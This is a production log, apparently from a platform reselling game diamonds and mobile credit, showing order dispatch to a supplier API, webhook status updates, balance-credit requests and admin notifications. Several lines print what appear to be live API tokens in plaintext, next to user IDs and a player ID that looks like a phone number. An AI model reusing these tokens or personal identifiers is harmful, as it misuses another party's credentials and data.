[2026-03-24 14:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 14:00:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 14:00:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 14:00:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"orders_count":3,"order_ids":["ORD-qeTA-1774349913","ORD-9mL-1774349934","ORD-tbmw-1774349962"]} 
[2026-03-24 14:00:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 14:00:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"orders_count":3} 
[2026-03-24 14:00:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 14:00:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 14:00:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"count":3} 
[2026-03-24 14:00:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"count":3} 
[2026-03-24 14:00:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"user_id":1299,"notification_type":"order_approved","reference_id":178700} 
[2026-03-24 14:00:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"user_id":587,"notification_type":"order_approved","reference_id":178699} 
[2026-03-24 14:00:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"user_id":1299,"notification_type":"order_approved","reference_id":178701} 
[2026-03-24 14:00:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:00:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:00:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"processed":3,"errors":0} 
[2026-03-24 14:00:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623,"processed":3,"errors":0} 
[2026-03-24 14:00:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"mt4fOPuxajZxYZg0uXMYcxadzzys0dHC","execution_time":"2026-03-24 14:00:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbmw-1774349962","operation_id":163623} 
[2026-03-24 14:00:02] production.INFO: Executing GetProducts task...  
[2026-03-24 14:00:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:00:02] production.INFO: Executing GetProducts task...  
[2026-03-24 14:00:04] production.INFO: async() رجع: true  
[2026-03-24 14:00:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:00:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:00:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:00:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:00:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:00:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:00:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:00:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:00:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:00:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:00:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:00:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1299  
[2026-03-24 14:00:07] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 14:00:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1299  
[2026-03-24 14:00:19] production.INFO: Constructing job for order: 178702  
[2026-03-24 14:00:22] production.INFO: Handling job for order: 178702  
[2026-03-24 14:00:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:00:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:00:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=1e04a169-4243-40ed-9c3c-5a2cffd4c14c&Player_ID=13968725796  
[2026-03-24 14:00:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=1e04a169-4243-40ed-9c3c-5a2cffd4c14c&Player_ID=13968725796","has_body":false} 
[2026-03-24 14:00:23] production.INFO: Operation sent successfully {"operation_id":163624,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-EeFeuuL-1774350023","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:00:23"}},"processed_data":{"order_number":"ORD-EeFeuuL-1774350023","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:00:25] production.INFO: Constructing job for order: 178703  
[2026-03-24 14:00:26] production.INFO: Handling job for order: 178703  
[2026-03-24 14:00:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:00:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:00:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=99a0f195-244a-4ae7-ad17-3263a0308812&Player_ID=13968725796  
[2026-03-24 14:00:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=99a0f195-244a-4ae7-ad17-3263a0308812&Player_ID=13968725796","has_body":false} 
[2026-03-24 14:00:27] production.INFO: Operation sent successfully {"operation_id":163625,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8a5Gc2C5-1774350027","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:00:27"}},"processed_data":{"order_number":"ORD-8a5Gc2C5-1774350027","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:00:27] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"100.0","mainamount":"100","operation_number":"158228664","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpera7vksih76oeUOrjEh"}},"user_id":237} 
[2026-03-24 14:00:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:00:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:00:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:00:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:00:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:00:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:00:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:00:30] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:00:30] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18618,"user_id":237,"amount":100.0,"admins_notified":7} 
[2026-03-24 14:00:56] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-8a5Gc2C5-1774350027","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:00:56] production.INFO: Processed webhook data (normalized) {"id":"ORD-8a5Gc2C5-1774350027","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:00:56] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:00:56] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178703} 
[2026-03-24 14:00:56] production.INFO: Order updated successfully. Order ID: 178703, Status: completed  
[2026-03-24 14:00:56] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-8a5Gc2C5-1774350027","status":"completed","codes_count":0} 
[2026-03-24 14:00:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 14:01:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-EeFeuuL-1774350023","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:01:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-EeFeuuL-1774350023","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:01:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:01:05] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178702} 
[2026-03-24 14:01:05] production.INFO: Order updated successfully. Order ID: 178702, Status: completed  
[2026-03-24 14:01:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-EeFeuuL-1774350023","status":"completed","codes_count":0} 
[2026-03-24 14:01:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 14:02:03] production.INFO: Constructing job for order: 178704  
[2026-03-24 14:02:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"tlKHwVr4ggQ7DRkCc0qbuXih3IPiA9UQ","execution_time":"2026-03-24 14:02:03"} 
[2026-03-24 14:02:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"tlKHwVr4ggQ7DRkCc0qbuXih3IPiA9UQ","execution_time":"2026-03-24 14:02:03","total_operations":2,"sites_count":1} 
[2026-03-24 14:02:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"tlKHwVr4ggQ7DRkCc0qbuXih3IPiA9UQ","execution_time":"2026-03-24 14:02:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639"]} 
[2026-03-24 14:02:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"tlKHwVr4ggQ7DRkCc0qbuXih3IPiA9UQ","execution_time":"2026-03-24 14:02:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"tlKHwVr4ggQ7DRkCc0qbuXih3IPiA9UQ","execution_time":"2026-03-24 14:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 14:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tlKHwVr4ggQ7DRkCc0qbuXih3IPiA9UQ","execution_time":"2026-03-24 14:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tlKHwVr4ggQ7DRkCc0qbuXih3IPiA9UQ","execution_time":"2026-03-24 14:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 14:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"tlKHwVr4ggQ7DRkCc0qbuXih3IPiA9UQ","execution_time":"2026-03-24 14:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 14:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"tlKHwVr4ggQ7DRkCc0qbuXih3IPiA9UQ","execution_time":"2026-03-24 14:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 14:02:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"tlKHwVr4ggQ7DRkCc0qbuXih3IPiA9UQ","execution_time":"2026-03-24 14:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 14:02:06] production.INFO: Handling job for order: 178704  
[2026-03-24 14:02:06] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:02:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:02:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/19/params?qty=1&uuid=d3b3717d-3aec-4157-b722-6bff24133101&Player_ID=0947944700  
[2026-03-24 14:02:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/19/params?qty=1&uuid=d3b3717d-3aec-4157-b722-6bff24133101&Player_ID=0947944700","has_body":false} 
[2026-03-24 14:02:07] production.INFO: Operation sent successfully {"operation_id":163626,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ylDU-1774350127","amount":1055.336000000000012732925824820995330810546875,"status":"processing","product":"1000 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:02:07"}},"processed_data":{"order_number":"ORD-ylDU-1774350127","amount":1055.336000000000012732925824820995330810546875,"status":"processing","product":"1000 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:03:45] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"3000.0","mainamount":"3000","operation_number":"158220286","note":"دمشق","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpv8q5jhk8sg3t90ZCReV"}},"user_id":125} 
[2026-03-24 14:03:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:03:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:03:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:03:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:03:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:03:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:03:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:03:46] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:03:46] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18619,"user_id":125,"amount":3000.0,"admins_notified":7} 
[2026-03-24 14:04:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04"} 
[2026-03-24 14:04:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","total_operations":3,"sites_count":2} 
[2026-03-24 14:04:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639"]} 
[2026-03-24 14:04:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:04:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 14:04:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:04:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 14:04:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 14:04:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 14:04:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"orders_count":1,"order_ids":["ORD-ylDU-1774350127"]} 
[2026-03-24 14:04:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 14:04:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"orders_count":1} 
[2026-03-24 14:04:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylDU-1774350127","operation_id":163626,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 14:04:05] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylDU-1774350127","operation_id":163626,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 14:04:05] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylDU-1774350127","operation_id":163626,"count":1} 
[2026-03-24 14:04:05] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylDU-1774350127","operation_id":163626,"count":1} 
[2026-03-24 14:04:05] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylDU-1774350127","operation_id":163626,"user_id":65,"notification_type":"order_approved","reference_id":178704} 
[2026-03-24 14:04:05] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylDU-1774350127","operation_id":163626,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:04:05] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylDU-1774350127","operation_id":163626,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:04:05] production.INFO: Batch update completed {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylDU-1774350127","operation_id":163626,"processed":1,"errors":0} 
[2026-03-24 14:04:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylDU-1774350127","operation_id":163626,"processed":1,"errors":0} 
[2026-03-24 14:04:05] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"bAaLw3zVd4HJxFYuq9plhN1LlwAEWSVf","execution_time":"2026-03-24 14:04:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ylDU-1774350127","operation_id":163626} 
[2026-03-24 14:04:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 65  
[2026-03-24 14:04:14] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"3000.0","mainamount":"3000","operation_number":"158220286","note":"دمشق","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":""}},"user_id":125} 
[2026-03-24 14:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 14:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 14:05:03] production.INFO: async() رجع: true  
[2026-03-24 14:05:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:05:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:05:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:05:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:05:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:05:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:05:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:05:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:05:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:05:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:05:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:05:14] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"3000.0","mainamount":"3000","operation_number":"158220286","note":"دمشق","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpnv9vq5vnbei1fLAjfmu"}},"user_id":125} 
[2026-03-24 14:05:24] production.INFO: SendAcceptReject: Notification queued {"user_id":1032,"notification_type":"request_approved","reference_id":18616} 
[2026-03-24 14:05:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1032  
[2026-03-24 14:05:40] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"2500.0","mainamount":"2500","operation_number":"201","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php73biaotd3idu3v3SjeS"}},"user_id":529} 
[2026-03-24 14:05:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:05:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:05:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:05:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:05:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:05:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:05:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:05:41] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
